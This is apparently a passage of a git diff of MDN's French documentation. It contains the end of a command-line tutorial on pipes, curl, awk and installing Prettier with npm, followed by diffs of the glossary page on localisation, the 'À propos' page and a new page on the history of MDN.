Supposons que vous ayez 1000 fichiers texte dans un répertoire, et que vous vouliez les parcourir en supprimant uniquement ceux dont le nom comprend une certaine chaîne de caractères. Si vous ne faites pas attention, vous risquez d'effacer quelque chose d'important et de perdre du coup une somme de travail. Une bonne habitude à prendre consiste à écrire votre ligne de commande dans un éditeur de texte, à la construire à votre idée, et ensuite à faire une copie de sauvegarde de votre répertoire avant d'essayer la commande sur celui-ci.

- -

Autre astuce intéressante : si vous n'êtes pas à l'aise avec l'idée d'essayer des lignes de commande sur votre propre machine, le site Glitch.com est un bon endroit pour le faire en toute sécurité. En plus d'être un lieu génial pour tester du code de développement web, les projets vous donnent accès à un terminal qui vous permet de lancer toutes les commandes que vous voulez, sans risquer d'endommager votre propre machine.

- -

a double screenshot showing the glitch.com home page, and the glitch terminal emulator

- -

Le site tldr.sh est une formidable ressource pour obtenir un aperçu de commandes particulières. C'est un service de documentation géré de façon communautaire, similaire à MDN, mais dédié aux commandes de terminal.

- -

Dans la section suivante, nous allons monter d'un cran (et même de plusieurs), et voir comment nous pouvons combiner plusieurs outils en ligne de commande pour révéler toute la puissance du terminal par rapport à l'interface graphique habituelle.

- -

Combiner des commandes grâce aux "pipes"

- -

L'usage du terminal prend toute sa valeur lorsque vous commencez à chaîner les commandes en utilisant le symbole | ("pipe" ou "tuyau" en français). Voyons comment on peut faire cela sur un exemple très rapide.

- -

Nous avons déjà vu ls, qui liste le contenu du répertoire courant :

- -
ls
- -

Mais comment nous y prendre si nous voulons compter le nombre de fichiers et de répertoires à l'intérieur du répertoire courant ? ls n'est pas capable de faire cela à lui seul.

- -

Il existe un autre outil Unix nommé wc. Celui-ci compte les mots, lignes, caractères, ou octets de la donnée qu'on lui passe, quelle qu'elle soit. Il peut s'agir d'un fichier texte — l'exemple ci-dessous donne le nombre de lignes de monfichier.txt :

- -
wc -l monfichier.txt
- -

Mais wc est également capable de compter les lignes de tout ce qui lui est passé par un pipe. Par exemple, la commande ci-dessous compte les lignes renvoyées par la commande ls  (lignes qui seraient normalement affichées sur le terminal) et affiche ce décompte à la place :

- -
ls | wc -l
- -

Comme ls affiche chaque fichier ou répertoire sur une nouvelle ligne, on obtient bien le compte des répertoires et des fichiers.

- -

Comment ça marche ? Le comportement général des outils de ligne de commande (unix) consiste à afficher du texte dans le terminal (ce qu'on appelle aussi "imprimer sur la sortie standard (standard input)" ou  STDOUT). Un bon nombre de commandes peuvent aussi lire du contenu à partir d'un flux d'entrée (appelé "entrée standard (standard input)" ou STDIN).

- -

L'opérateur pipe peut connecter ces entrées et sorties, ce qui nous permet de construire des opérations de plus en plus complexes selon nos besoins — la sortie d'une commande devient l'entrée de la commande suivante. Dans le cas présent, ls enverrait normalement sa sortie sur STDOUT, mais au lieu de cela la sortie de ls est passée par un pipe à wc, qui la prend en entrée, compte ses lignes et imprime ce décompte sur STDOUT.

- -

Un exemple un peu plus complexe

- -

Occupons-nous maintenant de quelque chose d'un peu plus compliqué. Nous allons d'abord essayer de récupérer le contenu de la page MDN "fetch" en utilisant la commande curl  (dont on peut se servir pour faire une requête de contenu à partir d'URLs), sur https://developer.mozilla.org/en-US/docs/Web/API/fetch.

- -

En fait, cette URL est celle de l'ancien emplacement de la page. Lorsque vous l'entrez dans un nouvel onglet de votre navigateur, vous êtes (finalement) redirigé sur https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch.

- -

Par conséquent, si vous utilisez curl pour faire une requête à https://developer.mozilla.org/docs/Web/API/fetch, vous n'aurez pas de résultat. Essayez :

- -
curl https://developer.mozilla.org/en-US/docs/Web/API/fetch
- -

Nous devons dire explicitement à curl de suivre les redirections en utilisant l'option -L.

- -

Examinons également les en-têtes retournées par developer.mozilla.org en utilisant l'option -I de curl, et affichons toutes les redirections en passant la sortie de curl à grep grâce à un pipe (on va demander à grep de renvoyer toutes les lignes qui contiennent le mot "location").

- -

Essayez maintenant la ligne suivante, et vous allez constater qu'il y a en fait trois redirections avant d'atteindre la page finale :

- -
curl https://developer.mozilla.org/docs/Web/API/fetch -L -I | grep location
- -

Votre sortie devrait ressembler à ceci (curl va d'abord afficher des compteurs et autres informations de téléchargement) :

- -
location: /en-US/docs/Web/API/fetch
-location: /en-US/docs/Web/API/GlobalFetch/GlobalFetch.fetch()
-location: /en-US/docs/Web/API/GlobalFetch/fetch
-location: /en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch
- -

Bien que ce résultat soit artificiel, nous pourrions le pousser un peu plus loin et remplacer location: par le nom de domaine, de façon à avoir des URLs complètes. Pour cela, nous allons ajouter awk à notre formule (il s'agit d'un langage de programmation tout comme JavaScript, Ruby ou Python, mais beaucoup plus ancien !).

- -

Essayez de lancer cette commande :

- -
curl https://developer.mozilla.org/docs/Web/API/fetch -L -I | grep location | awk '{ print "https://developer.mozilla.org" $2 }'
- -

Votre sortie finale devrait ressembler à ceci :

- -
https://developer.mozilla.org/en-US/docs/Web/API/fetch
-https://developer.mozilla.org/en-US/docs/Web/API/GlobalFetch/GlobalFetch.fetch()
-https://developer.mozilla.org/en-US/docs/Web/API/GlobalFetch/fetch
-https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch
- -

En combinant ces commandes nous avons personnalisé la sortie pour qu'elle montre les URLs complètes vers lesquels le serveur de Mozilla effectue les redirections lorsque nous lui soumettons la requête pour l'URL /docs/Web/API/fetch.
- Développer votre connaissance du système en apprenant le fonctionnement de ces simples outils et comment les intégrer à votre arsenal pour résoudre des problèmes bien particuliers - cela vous sera d'une grande utilité tout au long des années à venir.

- -

Ajoutez des super-pouvoirs !

- -

À présent que nous avons jeté un œil à quelques-unes des commandes intégrées dont votre système est pré-équipé, voyons comment installer un outil tiers de CLI et nous en servir.

- -

La plus grande partie du vaste écosystème d'outils installables pour le développement web front-end se trouve sous npm, un service privé d'hébergement de packages qui fonctionne en étroite interaction avec Node.js. Celui-ci se développe peu à peu — vous pouvez vous attendre à davantage de fournisseurs de packages avec le temps.

- -

L'installation de Node.js installe en même temps l'outil de ligne de commande npm (ainsi que npx, un outil supplémentaire centré sur npm), qui est la porte d'entrée pour l'installation d'outils de ligne de commande additionnels. Node.js et npm fonctionnent de la même façon sur tous les systèmes : macOS, Windows, ainsi que Linux.

- -

Allons-y : installez npm sur votre système à partir de l'URL ci-dessus qui va vous permettre de télécharger et de lancer un installeur Node.js approprié à votre système d'exploitation. Si cela vous est proposé, assurez-vous d'inclure npm dans l'installation.

- -

the node.js installer on windows, showing the option to include npm

- -

Un certain nombre d'outils variés vous attendent dans le prochaine article ; pour l'instant nous allons nous faire la main sur Prettier. Prettier est un outil de formatage de code normatif qui se présente comme ayant "peu d'options". Moins d'options, cela évoque plus de simplicité. Vu comme on peut parfois être débordé par la complexité de certains outils, le concept  "peu d'options" peut se révéler très attractif.

- -

Où installer nos outils de CLI ?

- -

Avant de nous lancer dans l'installation de Prettier, une question se pose — "où allons-nous l'installer ?"

- -

npm nous donne le choix entre une installation globale — ce qui nous permet d'y avoir accès de n'importe où — ou bien locale, dans le dossier du projet en cours.

- -

Il y a des pour et des contre pour les deux options — la liste ci-dessous est loin d'être exhaustive:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Pour l'installation globaleContre l'installation globale
Accessible partout dans votre terminalPeut ne pas être compatible avec votre codebase.
Installation en une foisLes autres développeurs de votre équipe n'auront pas accès à ces outils, par exemple si vous partagez votre codebase sur un outil comme git.
Moins d'espace disqueEn lien avec le point précédent, rend le code du projet plus difficile à répliquer (si vous installez vos outils en local, ils peuvent être configurés comme des dépendances et installés avec npm install).
Stabilité de la version
Donne l'impression d'être une commande unix comme les autres
- -

Bien que la liste des contre soit plus courte, l'impact négatif d'une installation globale est potentiellement beaucoup plus lourd que les bénéfices. Cela dit, pour l'instant, nous allons choisir l'installation globale dans un but de simplicité. Nous examinerons davantage les installations locales et leur intérêt dans notre prochain article.

- -

Installation de Prettier

- -

Dans cette partie nous allons installer Prettier en tant qu'utilitaire global de ligne de commande.

- -

Prettier est un outil de formatage de code normatif pour les développeurs front-end, centré sur le langage JavaScript et ses dérivés, avec un support pour HTML, CSS, SCSS, JSON et plus.

- -

Prettier offre les avantages suivants :

- -
    -
  • Il épargne la surcharge cognitive que représente le maintien manuel d'une cohérence de style au travers de l'ensemble de vos fichiers de code, en le faisant automatiquement à votre place.
    • -
  • Il aide les débutants en développement web à formater leur code selon les bonnes pratiques.
    • -
  • Il peut s'installer sur tout système d'exploitation et même comme partie intégrante des outils du projet, de sorte que les collègues et amis qui travaillent sur votre code utilisent le même style que vous.
    • -
  • On le peut le configurer pour qu'il s'exécute à la sauvegarde, en cours de frappe, ou encore au moment de publier votre code (grâce à des outils supplémentaires que nous verrons plus loin dans ce module).
    • -
- -

Après avoir installé node, ouvrez votre terminal et lancez les commandes suivantes pour installer Prettier :

- -
npm install --global prettier
- -

Lorsque la commande a terminé son exécution, l'outil Prettier est disponible sur sur votre terminal, partout dans votre système de fichiers.

- -

En lançant la commande sans argument, comme pour beaucoup d'autres commandes, vous obtiendrez les informations d'utilisation et d'aide. Essayez :

- -
prettier
- -

La sortie devrait ressembler à ceci :

- -
Usage: prettier [options] [file/glob ...]
-
-By default, output is written to stdout.
-Stdin is read if it is piped to Prettier and no files are given.
-
-…
- -

Cela vaut toujours la peine d'au moins survoler les informations sur l'utilisation, même lorsqu'elles sont longues. Vous pourrez ainsi mieux comprendre à quoi l'outil est censé servir.

- -

Un peu de pratique

- -

Jouons un peu avec Prettier pour que vous puissiez voir comment il fonctionne.

- -

Tout d'abord, créez un nouveau répertoire à un endroit que vous pourrez retrouver facilement, par exemple un répertoire nommé prettier-test sur votre Bureau.

- -

Ensuite collez le code suivant dans un fichier que vous enregistrez dans ce répertoire sous le nom index.js.

- -
const myObj = {
-a:1,b:{c:2}}
-function printMe(obj){console.log(obj.b.c)}
-printMe(myObj)
- -

Nous pouvons exécuter prettier sur un code source simplement pour vérifier s'il nécessite une correction. Passez dans votre répertoire avec cd et essayez de lancer cette commande :

- -
prettier --check index.js
- -

Vous devriez obtenir quelque chose comme

- -
Checking formatting...
-index.js
-Code style issues found in the above file(s). Forgot to run Prettier?
-
- -

Le style nécessite donc des corrections. Pas de problème. On va les appliquer en ajoutant l'option --write à la commande prettier, ce qui nous laisse nous concentrer sur l'aspect utile de l'écriture du code.

- -

Essayez maintenant de lancer cette version de la commande :

- -
prettier --write index.js
- -

La sortie ressemble maintenant à ceci

- -
Checking formatting...
-index.js
-Code style issues fixed in the above file(s).
- -

Mais le plus important, c'est que votre fichier JavaScript a été reformaté :

- -
const myObj = {
-  a: 1,
-  b: { c: 2 },
-};
-function printMe(obj) {
-  console.log(obj.b.c);
-}
-printMe(myObj);
- -

Vous pouvez intégrer cette opération automatisée à votre workflow. L'intérêt des outils réside justement dans l'automatisation ; personnellement, notre préférence va  au type d'automatisme qui se produit de façon transparente, sans qu'aucune configuration soit nécessaire.

- -

Il existe de nombreuses façons de mettre en oeuvre des automatismes avec Prettier, et bien qu'elles dépassent le cadre de cet article, vous trouverez de l'aide dans d'excellentes ressources en ligne, dont certaines grâce aux liens ci-après. Vous pouvez lancer prettier :

- -
    -
  • Avant de faire un commit sur un dépôt git en utilisant Husky.
    • -
  • Chaque fois que vous cliquez sur "sauvegarder" dans votre éditeur de code, qu'il s'agisse de VS Code, d'Atom, ou de Sublime Text.
    • -
  • En tant qu'élément des contrôles continus d'intégration grâce à des outils tels que Github Actions.
    • -
- -

Nous préférons personnellement la deuxième solution — quand on code par exemple sur VS Code, Prettier entre en jeu et nettoie le formatage lors de chaque  enregistrement. Vous trouverez dans les Prettier docs beaucoup plus d'informations sur les différentes façons d'utiliser Prettier.

- -

Autres outils à essayer

- -

Voici une courte liste de quelques outils supplémentaires que vous pouvez vous amuser à tester :

- -
    -
  • bat — Un cat  plus "beau" (cat affiche le contenu d'un fichier) (NdT : probable jeu de mot en anglais, où cat = chat et bat = chauve-souris).
    • -
  • prettyping — implémentation visuellement améliorée de la commande ping (ping permet de tester si un serveur répond).
    • -
  • htop — Pour visualiser les processus en cours, ce qui est intéressant lorsque votre ventilateur de CPU se met à faire un bruit de moteur d'avion et que vous souhaitez identifier le programme responsable.
    • -
  • tldr — client tldr (mentionné plus haut dans ce chapitre) en ligne de commande.
    • -
- -

L'auteur a aussi décrit certains de ses favoris accompagnés de copies d'écrans si vous avez envie de creuser davantage le sujet.

- -

Notez que certains de ces outils nécessitent l'installation préalable de npm, ainsi que nous l'avons fait pour Prettier.

- -

Résumé

- -

Nous voilà parvenus au terme de cette brève revue du terminal ou ligne de commande. Dans la suite, nous allons nous pencher plus en détail sur les package managers, et sur les possibilités qu'ils nous offrent.

- -

{{PreviousMenuNext("Learn/Tools_and_testing/Understanding_client-side_tools/Overview","Learn/Tools_and_testing/Understanding_client-side_tools/Package_management", "Learn/Tools_and_testing/Understanding_client-side_tools")}}

- -

Dans ce module

- - diff --git a/files/fr/localization/index.html b/files/fr/localization/index.html deleted file mode 100644 index 30a81b2224..0000000000 --- a/files/fr/localization/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Localisation -slug: Localization -tags: - - Glossaire - - Langue - - Localisation - - Paramètres régionaux -translation_of: Glossary/Localization ---- -
-

La localisation (l10n) est le processus d'adaptation d'une interface utilisateur de logiciel à une culture spécifique.

- -

Les facteurs communs suivants sont à considérer :

- -
    -
  • la langue
    • -
  • les unités de mesure (par exemple, kilomètres en Europe, miles aux U.S.)
    • -
  • la direction du texte (par exemple, de gauche à droite pour les langues européennes et de droite à gauche pour l'arabe)
    • -
  • les lettres capitales en écriture latine (par exemple, des capitales pour les jours de la semaine en anglais, des minuscules en espagnol)
    • -
  • l'adaptation des locutions (par exemple, "raining cats and dogs"  n'a aucun sens si elle est traduite littéralement).
    • -
  • l'utilisation du registre (par exemple, en japonais, le discours respectueux diffère du discours occasionnel)
    • -
  • le format des nombres (par exemple, 10 000,00 en allemand et 10,000.00 aux U.S.)
    • -
  • le format des dates
    • -
  • les devises monétaires
    • -
  • les références culturelles
    • -
  • la taille du papier
    • -
  • la psychologie des couleurs
    • -
  • le respect des lois locales
    • -
  • les vacances locales
    • -
  • Les noms de personnes
    • -
-
- -

En apprendre plus

- -

Culture générale

- -
    -
  • {{Link("fr/docs/Mozilla/Localization")}} sur MDN
    • -
  • {{interwiki("wikipedia", "Localisation_linguistique", "Localisation")}} sur Wikipedia
    • -
- -

 

diff --git a/files/fr/mdn/a_propos/index.html b/files/fr/mdn/a_propos/index.html deleted file mode 100644 index be8fecffe1..0000000000 --- a/files/fr/mdn/a_propos/index.html +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: À propos -slug: MDN/A_propos -tags: - - MDN -translation_of: MDN/About ---- -
{{MDNSidebar}}

Le Mozilla Developer Network (MDN) est une plateforme évoluée d’apprentissage des technologies web et des logiciels qui animent le Web, notamment :

- - - -

Comment aider

- -

Il n’est pas nécessaire de savoir coder — ou même écrire — pour contribuer à MDN ! Il existe de nombreuses façons d’aider, de la relecture d’articles à l’ajout d’exemples de code. À vrai dire, il y a tellement de moyens de participer que nous avons même un outil permettant d’aider à choisir une tâche en se basant sur ce qui vous intéresse et combien de temps vous avez à donner !

- -

Historique du projet

- -

Le projet Mozilla Developer Network (à l’origine Mozilla Developer Center (MDC) ou encore Devmo) a commencé début 2005, lorsque la fondation Mozilla a obtenu une licence d'AOL afin d'utiliser le contenu original de l'ancien site de documentation de Netscape, DevEdge. Le contenu existant a été trié pour en retirer les parties qui étaient encore utiles. Migrées par des bénévoles vers ce wiki, les pages seront plus faciles à mettre à jour et à enrichir.

- -

Depuis, le projet a continué à grandir formant à présent un point central pour toutes les documentations destinées aux développeur·se·s lié·e·s au projet Mozilla et aux technologies du Web ouvert. En 2010, le site s’est vu rebaptiser en Mozilla Developper Network. En 2011 furent lancés DemoStudio, permettant aux développeurs web de partager et exposer leur code, ainsi que les pages « Apprendre », proposant des liens vers des tutoriels. L’acronyme MDC subsiste encore aujourd’hui, et signifie « MDN Doc Center ». Dans l'avenir, le Mozilla Developer Network espère devenir une ressource visitée quotidiennement par les créateurs web, les développeurs d'applications, d'extensions et de thèmes.

- -

Le système de wiki utilisé étant prévu pour être multilingue, différentes équipes de traduction se sont rapidement formées. La documentation existante en français pour les développeurs web est souvent très pauvre, ancienne et éparpillée. Des habitué·e·s de xulfr.org et de Geckozone se sont donc attelé·e·s à la tâche de traduire cette documentation pour un large public francophone. Mais nous sommes peu nombreux·ses et il y a énormément à faire, n'hésitez donc pas à nous rejoindre.

- -

À propos de Mozilla

- -

Que vous vouliez en apprendre plus sur nous, comment rejoindre Mozilla ou simplement où nous trouver, vous êtes au bon endroit. Pour comprendre ce qui nous motive et nous rend différents, rendez-vous sur notre page Mission.

diff --git a/files/fr/mdn/about/index.html b/files/fr/mdn/about/index.html new file mode 100644 index 0000000000..be8fecffe1 --- /dev/null +++ b/files/fr/mdn/about/index.html @@ -0,0 +1,30 @@ +--- +title: À propos +slug: MDN/A_propos +tags: + - MDN +translation_of: MDN/About +--- +
{{MDNSidebar}}

Le Mozilla Developer Network (MDN) est une plateforme évoluée d’apprentissage des technologies web et des logiciels qui animent le Web, notamment :

+ + + +

Comment aider

+ +

Il n’est pas nécessaire de savoir coder — ou même écrire — pour contribuer à MDN ! Il existe de nombreuses façons d’aider, de la relecture d’articles à l’ajout d’exemples de code. À vrai dire, il y a tellement de moyens de participer que nous avons même un outil permettant d’aider à choisir une tâche en se basant sur ce qui vous intéresse et combien de temps vous avez à donner !

+ +

Historique du projet

+ +

Le projet Mozilla Developer Network (à l’origine Mozilla Developer Center (MDC) ou encore Devmo) a commencé début 2005, lorsque la fondation Mozilla a obtenu une licence d'AOL afin d'utiliser le contenu original de l'ancien site de documentation de Netscape, DevEdge. Le contenu existant a été trié pour en retirer les parties qui étaient encore utiles. Migrées par des bénévoles vers ce wiki, les pages seront plus faciles à mettre à jour et à enrichir.

+ +

Depuis, le projet a continué à grandir formant à présent un point central pour toutes les documentations destinées aux développeur·se·s lié·e·s au projet Mozilla et aux technologies du Web ouvert. En 2010, le site s’est vu rebaptiser en Mozilla Developper Network. En 2011 furent lancés DemoStudio, permettant aux développeurs web de partager et exposer leur code, ainsi que les pages « Apprendre », proposant des liens vers des tutoriels. L’acronyme MDC subsiste encore aujourd’hui, et signifie « MDN Doc Center ». Dans l'avenir, le Mozilla Developer Network espère devenir une ressource visitée quotidiennement par les créateurs web, les développeurs d'applications, d'extensions et de thèmes.

+ +

Le système de wiki utilisé étant prévu pour être multilingue, différentes équipes de traduction se sont rapidement formées. La documentation existante en français pour les développeurs web est souvent très pauvre, ancienne et éparpillée. Des habitué·e·s de xulfr.org et de Geckozone se sont donc attelé·e·s à la tâche de traduire cette documentation pour un large public francophone. Mais nous sommes peu nombreux·ses et il y a énormément à faire, n'hésitez donc pas à nous rejoindre.

+ +

À propos de Mozilla

+ +

Que vous vouliez en apprendre plus sur nous, comment rejoindre Mozilla ou simplement où nous trouver, vous êtes au bon endroit. Pour comprendre ce qui nous motive et nous rend différents, rendez-vous sur notre page Mission.

diff --git a/files/fr/mdn/at_ten/history_of_mdn/index.html b/files/fr/mdn/at_ten/history_of_mdn/index.html new file mode 100644 index 0000000000..b28f79975c --- /dev/null +++ b/files/fr/mdn/at_ten/history_of_mdn/index.html @@ -0,0 +1,232 @@ +--- +title: L'histoire de MDN +slug: MDN_a_dix_ans/Histoire_MDN +tags: + - MDN +translation_of: MDN_at_ten/History_of_MDN +--- +
+

Lors de cette discussion (en anglais), plusieurs contributeurs au projet MDN regardent dans le rétroviseur des dix dernières années de developer.mozilla.org et imaginent la décennie à venir. Vous pourrez entendre l'histoire des différentes migrations entre les logiciels de wiki, la façon dont la communauté a été construite et découvrir de nombreuses anecdotes de l'histoire du site. Le groupe réuni discute également des défis actuels et des projets sur lesquels la communauté MDN travaille cette année.

+ +
+ + +

{{ EmbedLiveSample('audio', 'auto', '50px') }}

+ +

Dans la suite de cette article, vous pourrez en savoir plus sur les personnes qui ont pris part à cette discussion et qui partagent leurs souvenirs et leurs pensées à propos de MDN. Cela vous permettra de découvrir les personnes qui forment une partie de la communauté de MDN.

+
+
+ +
+
Justin Crawford + +

Justin Crawford Product Manager, MDN

+ +

Justin anime cette discussion. Il fait des trucs avec du code, des mots, des morceaux de vélos et avec du bois. Sur Twitter, c'est @hoosteeno.

+
+ +
+

Qu'est-ce que MDN ? À qui s'adresse-t-il ? Un endroit pour la communauté du Web ouvert

+ +

MDN fournit de nombreuses informations sur les technologies web et encourage l'apprentissage, le partage et l'enseignement des notions liées au Web ouvert. Sur MDN, vous pouvez contribuer pour vous-même et pour les autres.

+Un endroit pour les développeurs Mozilla + +

MDN est également un lieu destiné aux ingénieurs de Mozilla (qui travaillent par exemple sur Gecko ou Firefox), aux développeurs de modules complémentaires et aux contributeurs de Firefox OS.

+
+ +
Eric Shepherd + +

Eric "Sheppy" Shepherd Écrivain technique, MDN

+ +

Sheppy écrit de la documentation pour Mozilla depuis 2006, il connaît une grande partie de l'histoire de MDC / MDN et surtout de nombreuses anecdotes. Sur Twitter, c'est @sheppy.

+
+ +
+

L'histoire de MDN L'ère pré-wiki – Netscape DevEdge

+ +

Au commencement était DevEdge, la documentation pour développeurs de Netscape. Ce fut la base pour une partie de la documentation de MDN. Vous pouvez vous plonger dans le passé grâce à archive.org :

+ +

Netscape DevEdge

+ +

Le 12 octobre 2004, ce site, populaire parmi les développeurs, fut fermé par AOL, l'entreprise à l'origine de Netscape. Quelques mois plus tard, en février 2005, Mitchell Baker put secourir DevEdge suite à un accord avec AOL qui permit à Mozilla de publier, modifier et de créer de nouveaux documents à partir du contenu du défunt Netscape DevEdge. Autrement dit, ce qui se produisit pour le code de Mozilla en 1998 s'appliqua également à la documentation Netscape pour les développeurs : elle est devenue open source.

+ +

Deb Richardson rejoignit la Fondation Mozilla comme éditeur technique pour diriger le nouveau projet DevMo. Le but de ce projet : organiser de la documentation pour les développeurs grâce à la communauté.

+
+ +
+

MediaWiki Le premier moteur wiki

+ +

Grâce à MediaWiki qui fut la première plateforme utilisée pour ce nouveau projet, la documentation de Mozilla à destination des développeurs est rendue éditable à partir de juillet 2005. Une nouvelle brique collaborative vient s'ajouter au projet Mozilla et chacun est le bienvenu pour bâtir, améliorer cette ressource et partager ses connaissances. Une nouvelle communauté voit le jour à l'échelle internationale qui traduit le contenu dans d'autres langues.

+ +

MDC MediaWiki

+
+ +
Florian Scholz + +

Florian Scholz Écrivain technique, MDN

+ +

Florian est un écrivain technique, employé à Mozilla et orienté vers les technologies web. Il prend soin de ce wiki comme certains prendraient soin d'un jardin, en cultivant la documentation et en tutorant la communauté avec laquelle il aime travailler afin que la documentation soit accessible au plus grand nombre. Florian est passioné d'open source, il est basé à Brême en Allemagne. Ses tweets sont signés avec l'alias @floscholz.

+
+ +
+

DekiWiki Le deuxième moteur wiki

+ +

En août 2008, le Mozilla Developer Center passa à MindTouch DekiWiki, un nouveau système de gestion de contenu et un système de wiki pour de la documentation technique. Cette plateforme fut sujette à controverse car la communauté qui utilisait MediaWiki depuis 2005 avait construit de nombreux outils autour de cette plateforme.

+ +

MDC DekiWiki

+
+ +
Ali Spivak + +

Ali Spivak Gardienne des supers chats de MDN

+ +

Ali Spivak gère le contenu et la communauté du Mozilla Developer Network. Elle passe son temps à réfléchir aux moyens de rendre le Web encore plus génial. Elle est passionnée lorsqu'il s'agit de maintenir un Web ouvert et libre. Après avoir versé dans l'open source lorsqu'elle a rejoint Mozilla en 2012, elle se concentre sur la construction et la participation des communautés de développeurs à Mozilla. Sur Twitter, c'est @alispivak.

+
+ +
+

Kuma Le troisième (et actuel) moteur wiki

+ +

Kuma, qui fut une fourche de Kitsune début 2011, fut lancé le 3 août 2012. C'est une plateforme construite par Mozilla pour gérer un wiki, celle-ci est basée sur Django et utilise son propre système de macro, appelé KumaScript et qui est basé sur Node.js.

+ +

Le code étant disponible sur GitHub, la communauté commença également à contribuer au logiciel derrière MDN. Désormais, contribuer et bidouiller sur MDN concerne aussi bien la documentation que le développement sur Kuma.

+ +

MDN KUMA

+
+ +
David Walsh + +

David Walsh Développeur web, MDN

+ +

Développeur web sénior à Mozilla, ingénieur front-end, développeur principal de MooTools, fanatique de JavaScript, bidouilleur PHP et bricoleur CSS, amoureux du Web et de l'open source, David est @davidwalshblog sur Twitter.

+
+ +
+

Refondre MDN Kuma, rafraîchi

+ +

La refonte de MDN fut un gros projet. Sean Martell créa la nouvelle identité visuelle de MDN. Ce fut un processus itératif auquel prit part un groupe de 3000 beta-testeurs, durant plusieurs mois. Le nouveau style du site était « caché » derrière une option (« Waffle flag », le nom du système qui gère les options activées ou non dans MDN). Un grand bravo à David Walsh qui fut le principal acteur de cette refonte et qui offrit à MDN le style qu'il méritait.

+Waffle flag
+ +
Janet Swisher + +

Janet Swisher Community Manager, MDN

+ +

Janet est community manager à Mozilla pour MDN. Elle a rejoint Mozilla en 2004 et participe à des projets autour des logiciels open source depuis 2004. Elle travaille sur la communication technique depuis le XXe siècle. Elle vit à Austin au Texas (aux États-Unis) avec son mari et un caniche. Sur Twitter, c'est @jmswisher.

+
+ +
+

La communauté autour de la documentation du Web Une documentation construite par la communauté et agnostique pour les différents navigateurs

+ +

En 2010, notamment lorsque les membres de la communauté et les écrivains techniques se sont recontrés à Paris, MDN changea de direction : « Documenter tout sur Firefox ! » devint « Documenter tout sur le Web ». C'est pourquoi, ces dernières années, la documentation a été revue, nettoyée et réorganisée pour que la documentation de MDN à propos du Web soit agnostique quant aux navigateurs. De cette façon, MDN est une ressource utile pour n'importe quel développeur web. C'est la partie de MDN consacrée au Web qui est la plus populaire et la plus utilisée.

+ +

Les différentes organisations à l'origine des différents navigateurs ont depuis participé au contenu de MDN. Cette collaboration autour des différents navigateurs est très appréciée des lecteurs de MDN.

+
+ +
Luke Crouch + +

Luke Crouch développeur web, MDN

+ +

Luke Crouch brasse sa propre bière, est fan de football et est développeur web à Mozilla. Il développe sur le Web depuis 1996, utilise Firefox depuis 2004, écrit des logiciels open source depuis 2006 et a rejoint Mozilla comme premier développeur web pour MDN en 2010. Sur Twitter, Luke est @groovecoder.

+
+ +
+

Les communautés de localisation MDN sert un public mondial, dans de nombreuses langues

+ +

La localisation est une pierre angulaire de la communauté Mozilla. Elle fait partie de presque tous les projets et tous les produits. Grâce à Kuma, MDN est localisable et répond aux besoin de notre communauté l10n. Les spécifications W3C et les autres ressources qui décrivent les fonctionnalités du Web n'ont parfois pas d'autres fins et sont donc uniquement disponibles en anglais. Pour les développeurs avancés mais aussi et surtout pour les débutants, MDN peut permettre d'explorer les technologies du Web. C'est donc notre but que d'être disponible pour tout le monde. MDN possède un public mondial et ne vise pas uniquement les anglophones. Grâce aux efforts de traduction et de localisation, MDN est apprécié tout autour du globe.

+
+ +
Julien + +

Julien (alias Sphinx) Localisation en français, MDN

+ +

Julien a passé de nombreuses soirées et week-ends, pendant plusieurs mois à traduire et à maintenir les articles sur JavaScript en français. Il n'est pas développeur mais possède des connaissances en informatique et souhaite apprendre ce qui tourne autour des nouvelles technologies. Plutôt que de regarder la télé, il contribue à MDN.

+
+ +
an-Yves Perrier + +

Jean-Yves Perrier Écrivain technique, MDN

+ +

Jean-Yves est écrivain technique sur MDN depuis 2010, il a rejoint Mozilla à plein temps fin 2011. Il est passioné par le Web et a 15 ans d'expérience en C++. Il est Suisse et vit à Londres au Royaume-Uni. Son indice d'Erdös vaut 5 et sur Twitter, c'est @Teoli2003.

+
+ +
+

« Learning Area » ou Apprendre le Web

+ +

La Learning Area est un nouveau projet de MDN pour enseigner les compétences de base autour du Web. Ces 10 dernières années, MDN a mis à disposition beaucoup de contenu avancé, permettant aux experts de travailler avec des informations précises. Ce projet est à destination des débutants et vise à combler les manques vis-à-vis de ce public.

+
+ +
Jérémie Patonnier + +

Jérémie Patonnier Écrivain technique, MDN

+ +

Jérémie est, depuis longtemps, un contributeur à MDN. C'est un développeur web professionnel depuis 2000. Il milite en faveur des standards du Web et écrit de la documentation sur les technologies web avec la volonté qu'elle soit accessible à tout le monde. Sur Twitter, c'est @JeremiePat.

+
+ +
+

Le futur de MDN Qu'est-ce qui sera différent lors des 20 ans de MDN ?

+ +

Toutes les personnes qui sont impliquées au sein de MDN souhaitent vraiment que le Web soit ouvert et accessible à tous. C'est pour cela que nous avons de nombreux contributeurs et équipes de localisation. MDN espère continuer à jouer un rôle important pour que le Web continue à être ce que nous aimerions qu'il soit.

+ +

Une grande partie de cet avenir se jouera sur les ressources d'apprentissage. Ces dix prochaines années, nous verrons de plus en plus de développeurs web.

+ +

Une autre partie, toute aussi importante, est de maintenir et de mettre à jour le contenu déjà présent sur MDN. Grâce à cela, les développeurs web pourront toujours bénéficier d'un contenu précis et pertinent.

+ +

Ce qui change et qui va probablement continuer à changer, c'est la façon dont l'information est consommée. Aujourd'hui, les personnes recherchent des informations et parcourent la documentation. Demain, MDN pourrait être diffusé via les édidteurs de code, les outils de développement Firefox, via d'autres services et outils, etc.

+
+ +
+

Des contributeurs exceptionnels Beaucoup d'autres personnes ont accompli un travail formidable sur MDN

+ +
+
    +
  • Les Orchard
    • +
  • John Karahalis
    • +
  • David Walsh
    • +
  • Jannis Leidel
    • +
  • Stephanie Hobson
    • +
  • James Bennett
    • +
  • Isac Lagerblad
    • +
  • Piotrek Koszuliński
    • +
  • Craig Cook
    • +
  • Rob Hudson
    • +
  • John Whitlock
    • +
  • ...
    + Et bien d'autres contributeurs à Kuma.
    • +
+ + +
    +
  • Chris Mills
    • +
  • Will Bamberg
    • +
  • David Bruant
    • +
  • Thierry Régagnon
    • +
  • etherthank
    • +
  • Saurabh Nair
    • +
  • Deb Richardson
    • +
